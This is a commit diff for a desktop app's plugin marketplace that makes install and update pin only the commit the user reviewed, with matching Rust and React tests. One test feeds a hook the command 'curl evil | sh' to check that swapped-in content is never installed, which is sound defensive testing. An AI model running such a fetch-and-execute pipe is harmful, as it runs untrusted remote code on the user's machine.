Marketplace: pin the commit the user reviewed (final review I2)

Install and update pinned whatever the marketplace head was when the
click landed, so a background refresh between review and click could
pin content nobody saw (including a hook's shell commands).
install_marketplace_item and update_marketplace_item now take
expected_commit and refuse with "changed since you reviewed this item —
review it again" unless it is still the head. The UI passes the head the
selected item was read at (Browse), the head frozen with a pending hook
confirm (whose commands are frozen too), and the head of the accepted
diff (Installed).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
2026-09-27 10:11:19 -07:00
co-authored by Claude Opus 5.5
parent f2ebddd073
commit dd019cf2c0
13 changed files with 197 additions and 65 deletions
@@ -62,6 +62,26 @@ pub(crate) mod ops {
}
}
/// The commit to pin for an install or update: the marketplace's current
/// head, but only if it is the one the person reviewed (`expected`, the
/// head the UI showed or diffed against). A refresh that lands between
/// review and click must not pin content nobody saw (final review I2).
pub fn reviewed_head(
head: Option<&str>,
expected: &str,
marketplace_name: &str,
) -> Result<String, String> {
let head = head.ok_or_else(|| {
format!("\"{marketplace_name}\" has not been fetched yet — refresh it first.")
})?;
if head != expected {
return Err(format!(
"\"{marketplace_name}\" has changed since you reviewed this item — review it again."
));
}
Ok(head.to_string())
}
/// An unvalidated value as it may appear in an error: quoted and escaped
/// (`{:?}`) and capped at 60 characters, since it can come from an
/// import file rather than from what the person just typed.
@@ -226,6 +246,23 @@ pub(crate) mod ops {
}
}
/// Final review I2: an install or update pins exactly the commit the
/// person reviewed, or nothing.
#[test]
fn only_the_reviewed_head_is_pinned() {
let h = "a".repeat(40);
assert_eq!(reviewed_head(Some(&h), &h, "Team").unwrap(), h);
let moved = reviewed_head(Some(&h), &"b".repeat(40), "Team").unwrap_err();
assert!(moved.contains("changed since you reviewed"), "{moved}");
assert!(moved.contains("review it again"), "{moved}");
assert!(reviewed_head(Some(&h), "", "Team").is_err());
let unfetched = reviewed_head(None, &h, "Team").unwrap_err();
assert!(
unfetched.contains("has not been fetched yet"),
"{unfetched}"
);
}
/// Pre-flight F13: the add form and the fetch agree on what a branch
/// is, so a name the fetch would refuse is refused up front.
#[test]
@@ -642,24 +679,21 @@ pub async fn forget_marketplace_installs(
// Installs
// ─────────────────────────────────────────────────────────────────────────────
/// Pins the item at the marketplace's current head. Returns fresh settings;
/// for a project scope the caller reloads projects.
/// Pins the item at `expected_commit`, the head the person reviewed, which
/// must still be the marketplace's head. Returns fresh settings; for a
/// project scope the caller reloads projects.
#[tauri::command]
pub async fn install_marketplace_item(
item: MarketplaceItemRef,
scope: InstallScope,
expected_commit: String,
state: State<'_, AppState>,
) -> Result<AppSettings, String> {
validate_item(&item)?;
let settings = state.settings_store.get();
let m = find_marketplace(&settings, &item.marketplace_id)?;
let snap = snapshot_blocking(&state, &m).await?;
let head = snap.head_commit.clone().ok_or_else(|| {
format!(
"\"{}\" has not been fetched yet — refresh it first.",
m.name
)
})?;
let head = ops::reviewed_head(snap.head_commit.as_deref(), &expected_commit, &m.name)?;
let entry = snap
.items
.iter()
@@ -781,26 +815,21 @@ pub async fn marketplace_item_diff(
.map_err(|e| format!("Computing the diff failed: {e}"))?
}
/// Moves one install's pin to the marketplace's head, if the item is still
/// installable there.
/// Moves one install's pin to `expected_commit`, the head whose diff the
/// person accepted, if that is still the marketplace's head and the item is
/// still installable there.
#[tauri::command]
pub async fn update_marketplace_item(
item: MarketplaceItemRef,
scope: InstallScope,
expected_commit: String,
state: State<'_, AppState>,
) -> Result<(), String> {
validate_item(&item)?;
let settings = state.settings_store.get();
let m = find_marketplace(&settings, &item.marketplace_id)?;
let head = snapshot_blocking(&state, &m)
.await?
.head_commit
.ok_or_else(|| {
format!(
"\"{}\" has not been fetched yet — refresh it first.",
m.name
)
})?;
let snap = snapshot_blocking(&state, &m).await?;
let head = ops::reviewed_head(snap.head_commit.as_deref(), &expected_commit, &m.name)?;
let repo = git::cache_path(state.marketplace.data_root(), &m.id);
let (kind, key, at) = (item.kind, item.key.clone(), head.clone());
@@ -4,7 +4,9 @@ import { useAppState } from "../../store/appState";
import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
vi.mock("./InstallControls", () => ({ default: () => <div>install controls</div> }));
vi.mock("./InstallControls", () => ({
default: ({ headCommit }: { headCommit: string | null }) => <div>install controls at {headCommit}</div>,
}));
vi.mock("./AddMarketplaceModal", () => ({ default: () => <div>add modal</div> }));
import BrowsePane from "./BrowsePane";
@@ -76,7 +78,15 @@ describe("BrowsePane", () => {
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
expect(screen.getByText("code-reviewer preview body")).toBeInTheDocument();
expect(screen.getByText("install controls")).toBeInTheDocument();
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
});
it("I2: installs pin the head the shown item was read at, not a later one", () => {
const mp = api();
const { rerender } = render(<BrowsePane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
rerender(<BrowsePane mp={{ ...mp, snapshots: [{ ...snapshot, head_commit: "b".repeat(40) }] }} />);
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
});
it("shows why an item is invalid", () => {
+16 -5
View File
@@ -24,7 +24,13 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId);
const [kind, setKind] = useState<KindFilter>("all");
const [query, setQuery] = useState("");
const [selected, setSelected] = useState<{ marketplaceId: string; item: CatalogItem } | null>(null);
// The item is kept as it was read, with the head it was read at: an
// install pins exactly what the detail pane shows (final review I2).
const [selected, setSelected] = useState<{
marketplaceId: string;
item: CatalogItem;
headCommit: string | null;
} | null>(null);
const [adding, setAdding] = useState(false);
const [removing, setRemoving] = useState<Marketplace | null>(null);
@@ -35,7 +41,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
.filter((i) => kind === "all" || i.kind === kind)
.filter((i) => q === "" || `${i.name} ${i.key} ${i.description}`.toLowerCase().includes(q))
.sort((a, b) => KIND_ORDER.indexOf(a.kind) - KIND_ORDER.indexOf(b.kind) || a.name.localeCompare(b.name))
.map((item) => ({ marketplaceId: snap.marketplace_id, item })),
.map((item) => ({ marketplaceId: snap.marketplace_id, item, headCommit: snap.head_commit })),
);
}, [mp.snapshots, kind, query]);
@@ -161,7 +167,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
className={inputClass}
/>
<ul className="space-y-1">
{rows.map(({ marketplaceId, item }) => {
{rows.map(({ marketplaceId, item, headCommit }) => {
const key = itemRefKey({ marketplace_id: marketplaceId, kind: item.kind, key: item.key });
const isSel =
selected?.marketplaceId === marketplaceId &&
@@ -171,7 +177,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
<li key={key}>
<button
type="button"
onClick={() => setSelected({ marketplaceId, item })}
onClick={() => setSelected({ marketplaceId, item, headCommit })}
className={`w-full text-left px-2 py-1.5 rounded-[var(--radius-control)] text-xs ${
isSel ? "bg-[var(--bg-tertiary)]" : "hover:bg-[var(--bg-tertiary)]"
}`}
@@ -197,7 +203,12 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
<section className="flex-1 min-w-0 p-4 overflow-auto">
{selected ? (
<ItemDetail mp={mp} item={selected.item} marketplaceId={selected.marketplaceId} />
<ItemDetail
mp={mp}
item={selected.item}
marketplaceId={selected.marketplaceId}
headCommit={selected.headCommit}
/>
) : (
<p className="text-xs text-[var(--text-secondary)]">Select an item to see what it contains and install it.</p>
)}
@@ -4,16 +4,20 @@ import type { CatalogItem } from "../../lib/types";
interface Props {
item: CatalogItem;
/** The commit whose commands are listed; the install pins exactly this one. */
commit: string;
onConfirm: () => void;
onCancel: () => void;
}
/** Hooks run shell commands in every Claude session, so installing one is always confirmed. */
export default function HookConfirmModal({ item, onConfirm, onCancel }: Props) {
export default function HookConfirmModal({ item, commit, onConfirm, onCancel }: Props) {
return (
<Modal
title={`Install hook “${item.name}”?`}
description="This hook runs the commands below inside the container whenever its event fires."
description={`This hook runs the commands below inside the container whenever its event fires.${
commit ? ` Version ${commit.slice(0, 8)}.` : ""
}`}
widthClassName="w-[40rem]"
onClose={onCancel}
footer={
@@ -6,6 +6,8 @@ import type { AppSettings, CatalogItem, Project } from "../../lib/types";
import type { MarketplaceApi } from "../../hooks/useMarketplace";
const C = "c".repeat(40);
/** The snapshot head the user is looking at. */
const H = "d".repeat(40);
function api(): MarketplaceApi {
return {
@@ -55,22 +57,22 @@ describe("InstallControls", () => {
it("installs for all projects", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" });
expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" }, H);
});
it("installs for one project", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p2/ }));
expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" });
expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" }, H);
});
it("opts a project out of a global install and back in", () => {
const mp = api();
seed([{ ...ref, commit: C }], [project("p1"), project("p2", { marketplace_disabled: [ref] })]);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
const row1 = screen.getByTestId("install-row-p1");
expect(within(row1).getByText("Inherited")).toBeInTheDocument();
fireEvent.click(within(row1).getByRole("checkbox"));
@@ -84,30 +86,49 @@ describe("InstallControls", () => {
it("removes a project-only install", () => {
const mp = api();
seed([], [project("p1", { marketplace_installs: [{ ...ref, commit: C }] })]);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
expect(mp.uninstall).toHaveBeenCalledWith(ref, { type: "project", project_id: "p1" });
});
it("requires confirmation before installing a hook", () => {
const mp = api();
render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" />);
render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(mp.install).not.toHaveBeenCalled();
expect(screen.getByText("/home/claude/.claude/triple-c/hooks/rev/run.sh")).toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" });
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
});
it("I2: a hook confirm installs the commit whose commands it showed", () => {
const mp = api();
const { rerender } = render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(screen.getByText(/dddddddd/)).toBeInTheDocument();
// The marketplace moves on while the confirm is open.
rerender(
<InstallControls
mp={mp}
item={item("hook", { hook_commands: ["curl evil | sh"] })}
marketplaceId="m1"
headCommit={"e".repeat(40)}
/>,
);
expect(screen.queryByText("curl evil | sh")).not.toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
});
it("disables everything for an invalid item", () => {
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" />);
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" headCommit={H} />);
expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
expect(screen.getByRole("checkbox", { name: /proj-p1/ })).toBeDisabled();
});
it("shows only the filtered project when a filter is set", () => {
useAppState.setState({ marketplaceFilterProjectId: "p2" });
render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" />);
render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" headCommit={H} />);
expect(screen.queryByTestId("install-row-p1")).not.toBeInTheDocument();
expect(screen.getByTestId("install-row-p2")).toBeInTheDocument();
});
@@ -18,13 +18,25 @@ interface Props {
mp: MarketplaceApi;
item: CatalogItem;
marketplaceId: string;
/**
* The marketplace head `item` was read at. Installs pin exactly this commit;
* the backend refuses if the marketplace has moved on since (final review I2).
*/
headCommit: string | null;
}
export default function InstallControls({ mp, item, marketplaceId }: Props) {
/** A hook install waiting for confirmation, frozen at the moment it was asked for. */
interface PendingHook {
scope: InstallScope;
item: CatalogItem;
commit: string;
}
export default function InstallControls({ mp, item, marketplaceId, headCommit }: Props) {
const appSettings = useAppState((s) => s.appSettings);
const projects = useAppState((s) => s.projects);
const filterId = useAppState((s) => s.marketplaceFilterProjectId);
const [pendingHook, setPendingHook] = useState<InstallScope | null>(null);
const [pendingHook, setPendingHook] = useState<PendingHook | null>(null);
const [busy, setBusy] = useState(false);
const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
@@ -33,6 +45,8 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
(g) => g.marketplace_id === marketplaceId && g.kind === item.kind && g.key === item.key,
);
const disabled = item.invalid !== null || busy;
// "" never matches a head, so the backend explains that a refresh is needed.
const commit = headCommit ?? "";
const shown = filterId ? projects.filter((p) => p.id === filterId) : projects;
const run = async (fn: () => Promise<boolean>) => {
@@ -47,10 +61,10 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
/** Every install goes through here so a hook is always confirmed first. */
const install = (scope: InstallScope) => {
if (item.kind === "hook") {
setPendingHook(scope);
setPendingHook({ scope, item, commit });
return;
}
void run(() => mp.install(ref, scope));
void run(() => mp.install(ref, scope, commit));
};
const toggleProject = (projectId: string, state: ProjectItemState) => {
@@ -111,12 +125,13 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
)}
{pendingHook && (
<HookConfirmModal
item={item}
item={pendingHook.item}
commit={pendingHook.commit}
onCancel={() => setPendingHook(null)}
onConfirm={() => {
const scope = pendingHook;
const { scope, commit: reviewed } = pendingHook;
setPendingHook(null);
void run(() => mp.install(ref, scope));
void run(() => mp.install(ref, scope, reviewed));
}}
/>
)}
@@ -79,10 +79,21 @@ describe("InstalledPane", () => {
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
await waitFor(() =>
expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }),
expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }, B),
);
});
it("I2: accepts the head that was reviewed even if the update list moves on", async () => {
const C = "c".repeat(40);
const item = { marketplace_id: "m1", kind: "agent" as const, key: "rev" };
const mp = api({ updates: [{ item, pinned: A, head: B }] });
const { rerender } = render(<InstalledPane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
rerender(<InstalledPane mp={{ ...mp, updates: [{ item, pinned: A, head: C }] }} />);
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
await waitFor(() => expect(mp.update).toHaveBeenCalledWith(item, { type: "global" }, B));
});
it("marks installs whose marketplace was removed and forgets them", () => {
const mp = api();
render(<InstalledPane mp={mp} />);
@@ -16,6 +16,8 @@ interface Pending {
update: ItemUpdate;
scope: InstallScope;
scopeLabel: string;
/** Hooks only: what the hook runs at `update.head`, captured with it. */
hookCommands: string[] | undefined;
}
export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
@@ -42,10 +44,13 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
/** Hooks only (spec §3, preflight F8): the rendered commands at head, so the
* diff review shows what a hook will run after the update, not just the
* raw `hook.json` diff. */
const hookCommandsFor = (item: MarketplaceItemRef): string[] | undefined => {
const hookCommandsFor = ({ item, head }: ItemUpdate): string[] | undefined => {
if (item.kind !== "hook") return undefined;
const snap = mp.snapshots.find((s) => s.marketplace_id === item.marketplace_id);
return snap?.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands;
// Only when the snapshot is at the head being reviewed; otherwise they
// would describe a different version than the diff.
if (snap?.head_commit !== head) return undefined;
return snap.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands;
};
const removedSources = [
@@ -100,7 +105,9 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
size="sm"
variant="secondary"
aria-label={`Review update for ${i.key}`}
onClick={() => setPending({ install: i, update: upd, scope, scopeLabel })}
onClick={() =>
setPending({ install: i, update: upd, scope, scopeLabel, hookCommands: hookCommandsFor(upd) })
}
>
Update available
</Button>
@@ -175,9 +182,10 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
fromCommit={pending.install.commit}
toCommit={pending.update.head}
scopeLabel={pending.scopeLabel}
hookCommands={hookCommandsFor(pending.update.item)}
hookCommands={pending.hookCommands}
onClose={() => setPending(null)}
onAccept={() => mp.update(pending.update.item, pending.scope)}
// Pin exactly the head whose diff is on screen (final review I2).
onAccept={() => mp.update(pending.update.item, pending.scope, pending.update.head)}
/>
)}
</div>
@@ -8,9 +8,11 @@ interface Props {
mp: MarketplaceApi;
item: CatalogItem;
marketplaceId: string;
/** The marketplace head `item` was read at. */
headCommit: string | null;
}
export default function ItemDetail({ mp, item, marketplaceId }: Props) {
export default function ItemDetail({ mp, item, marketplaceId, headCommit }: Props) {
return (
<div className="space-y-3">
<div>
@@ -45,7 +47,7 @@ export default function ItemDetail({ mp, item, marketplaceId }: Props) {
)}
<div>
<p className="text-xs font-medium mb-1">Install</p>
<InstallControls mp={mp} item={item} marketplaceId={marketplaceId} />
<InstallControls mp={mp} item={item} marketplaceId={marketplaceId} headCommit={headCommit} />
<p className="mt-2 text-[11px] text-[var(--text-secondary)]">
Running containers pick changes up on their next start or with “Apply now” on the Installed tab. Changes
apply to new Claude sessions.
+15 -1
View File
@@ -9,6 +9,7 @@ const listMarketplaceUpdates = vi.fn();
const getSettings = vi.fn();
const listProjects = vi.fn();
const installMarketplaceItem = vi.fn();
const updateMarketplaceItem = vi.fn();
vi.mock("../lib/tauri-commands", () => ({
listMarketplaceSnapshots: () => listMarketplaceSnapshots(),
@@ -17,6 +18,7 @@ vi.mock("../lib/tauri-commands", () => ({
getSettings: () => getSettings(),
listProjects: () => listProjects(),
installMarketplaceItem: (...a: unknown[]) => installMarketplaceItem(...a),
updateMarketplaceItem: (...a: unknown[]) => updateMarketplaceItem(...a),
}));
let syncHandler: ((e: { payload: unknown }) => void) | null = null;
@@ -66,11 +68,23 @@ describe("useMarketplace", () => {
installMarketplaceItem.mockRejectedValue("boom");
const { result } = renderHook(() => useMarketplace());
const ok = await act(() =>
result.current.install({ marketplace_id: "m1", kind: "agent", key: "a" }, { type: "global" }),
result.current.install({ marketplace_id: "m1", kind: "agent", key: "a" }, { type: "global" }, "c".repeat(40)),
);
expect(ok).toBe(false);
expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "error", detail: "boom" });
});
it("I2: passes the reviewed commit to install and update", async () => {
listMarketplaceSnapshots.mockResolvedValue([]);
installMarketplaceItem.mockResolvedValue({});
updateMarketplaceItem.mockResolvedValue(undefined);
const item = { marketplace_id: "m1", kind: "hook" as const, key: "h" };
const { result } = renderHook(() => useMarketplace());
await act(() => result.current.install(item, { type: "global" }, "c".repeat(40)));
expect(installMarketplaceItem).toHaveBeenCalledWith(item, { type: "global" }, "c".repeat(40));
await act(() => result.current.update(item, { type: "project", project_id: "p1" }, "d".repeat(40)));
expect(updateMarketplaceItem).toHaveBeenCalledWith(item, { type: "project", project_id: "p1" }, "d".repeat(40));
});
});
describe("useMarketplaceSyncToasts", () => {
+8 -6
View File
@@ -21,10 +21,12 @@ export interface MarketplaceApi {
refresh: (marketplaceId?: string) => Promise<void>;
/** Reload settings, projects and the update list after a mutation. */
reloadState: () => Promise<void>;
install: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>;
/** `commit`: the marketplace head the user reviewed (see `install_marketplace_item`). */
install: (item: MarketplaceItemRef, scope: InstallScope, commit: string) => Promise<boolean>;
uninstall: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>;
setDisabled: (projectId: string, item: MarketplaceItemRef, disabled: boolean) => Promise<boolean>;
update: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>;
/** `commit`: the head whose diff the user accepted. */
update: (item: MarketplaceItemRef, scope: InstallScope, commit: string) => Promise<boolean>;
forget: (marketplaceId: string) => Promise<boolean>;
remove: (marketplaceId: string) => Promise<boolean>;
}
@@ -146,16 +148,16 @@ export function useMarketplace(): MarketplaceApi {
load,
refresh,
reloadState,
install: (item, scope) =>
mutate(`Could not install ${item.key}`, () => commands.installMarketplaceItem(item, scope)),
install: (item, scope, commit) =>
mutate(`Could not install ${item.key}`, () => commands.installMarketplaceItem(item, scope, commit)),
uninstall: (item, scope) =>
mutate(`Could not remove ${item.key}`, () => commands.uninstallMarketplaceItem(item, scope)),
setDisabled: (projectId, item, disabled) =>
mutate(`Could not change ${item.key} for this project`, () =>
commands.setGlobalItemDisabled(projectId, item, disabled),
),
update: (item, scope) =>
mutate(`Could not update ${item.key}`, () => commands.updateMarketplaceItem(item, scope)),
update: (item, scope, commit) =>
mutate(`Could not update ${item.key}`, () => commands.updateMarketplaceItem(item, scope, commit)),
forget: (marketplaceId) =>
mutate("Could not forget those installs", () => commands.forgetMarketplaceInstalls(marketplaceId)),
remove: async (marketplaceId) => {
+6 -4
View File
@@ -449,8 +449,9 @@ export const updateMarketplace = (marketplace: Marketplace) =>
invoke<AppSettings>("update_marketplace", { marketplace });
export const removeMarketplace = (marketplaceId: string) =>
invoke<AppSettings>("remove_marketplace", { marketplaceId });
export const installMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) =>
invoke<AppSettings>("install_marketplace_item", { item, scope });
/** `expectedCommit`: the head the user reviewed; the backend refuses if it moved. */
export const installMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope, expectedCommit: string) =>
invoke<AppSettings>("install_marketplace_item", { item, scope, expectedCommit });
export const uninstallMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) =>
invoke<void>("uninstall_marketplace_item", { item, scope });
export const setGlobalItemDisabled = (
@@ -466,8 +467,9 @@ export const marketplaceItemDiff = (
fromCommit: string,
toCommit: string,
) => invoke<FileDiff[]>("marketplace_item_diff", { item, fromCommit, toCommit });
export const updateMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope) =>
invoke<void>("update_marketplace_item", { item, scope });
/** `expectedCommit`: the head whose diff the user accepted; the backend refuses if it moved. */
export const updateMarketplaceItem = (item: MarketplaceItemRef, scope: InstallScope, expectedCommit: string) =>
invoke<void>("update_marketplace_item", { item, scope, expectedCommit });
export const applyMarketplaceNow = (projectId?: string) =>
invoke<ProjectSyncResult[]>("apply_marketplace_now", { projectId: projectId ?? null });
export const getMarketplaceSyncReport = (projectId: string) =>
@@ -184,7 +184,10 @@ password = token. Shallow fetch is not used (pins need history for diff/ancestry
**Update detection** compares each installed item's own tree (item folder / file blob id) at
its pin vs. the branch head; only a changed item shows "update available".
**Update** shows a text diff of the item's files (pinned → head) and, on accept, moves the pin.
Hooks' diffs always show the rendered commands.
Hooks' diffs always show the rendered commands. Install and update both carry the commit the user
reviewed (the head the item was read at, the head of the accepted diff); the backend pins exactly
that commit and refuses with "changed since you reviewed this item — review it again" if the
marketplace's head has moved since.
**Accounts** (`marketplace/auth.rs`):